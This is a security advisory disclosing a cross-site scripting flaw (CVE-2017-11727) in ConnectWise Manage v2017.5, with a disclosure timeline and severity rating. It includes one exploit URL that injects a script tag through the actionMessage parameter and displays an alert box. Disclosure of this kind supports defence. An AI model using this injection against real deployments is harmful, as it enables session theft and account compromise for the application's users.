XSS Vulnerability in ConnectWise Manage 2017.5 - [ CVE-2017-11727 ]

Vendor:
====================
ConnectWise

Product:
===================
ConnectWise Manage - v2017.5

Vulnerability Type:
==========================
Cross site scripting - XSS

CVE Reference:
==============
CVE-2017-11727

Vulnerability Details:
======================

ConnectWise Manage application allows arbitrary client side JS code execution on victims who click our infected link. Session ID and data theft may follow as well as possibility to bypass CSRF protections, injection of iframes to establish communication channels etc. The application also allows 'post' request to be sent in 'get' request which allows attacker to send the payload remotely.
The vulnerability exist after login into the application.

XSS Exploit code(s):

====================
https://<domain>.com/v4_6_release/services/system_io/actionprocessor/Contact.rails?
actionMessage=%7b%22payload%22%3a%22%7b%5c%22companyRecId%5c%22%3a19383%7d%22%2c%22payloadClassName%22%3a%22GetCompanyNameAction%vcdj%3cscript%3ealert(1111)%3c%5c%2fscript%3ex9uwe%22%7d&clientTimezoneOffset=-420&clientTimezoneName=Pacific+Standard+Time

Affected Component:

====================

Parameter : actionMessage which includes json parameters(ContactCommon)

Proof-of-Concept:
====================

Disclosure Timeline:
=====================
Mitre Notification: July 29, 2017 
Public Disclosure: 01 August, 2017

Exploitation Technique:
=======================
Remote

Severity Level:
================
High

Description:
=====================================================
Request Method(s): [+] GET
Vulnerable Product: [+] ConnectWise Manage - v2017.5
Vulnerable Parameter(s): [+] actionMessage

[+] Disclaimer

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.

The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.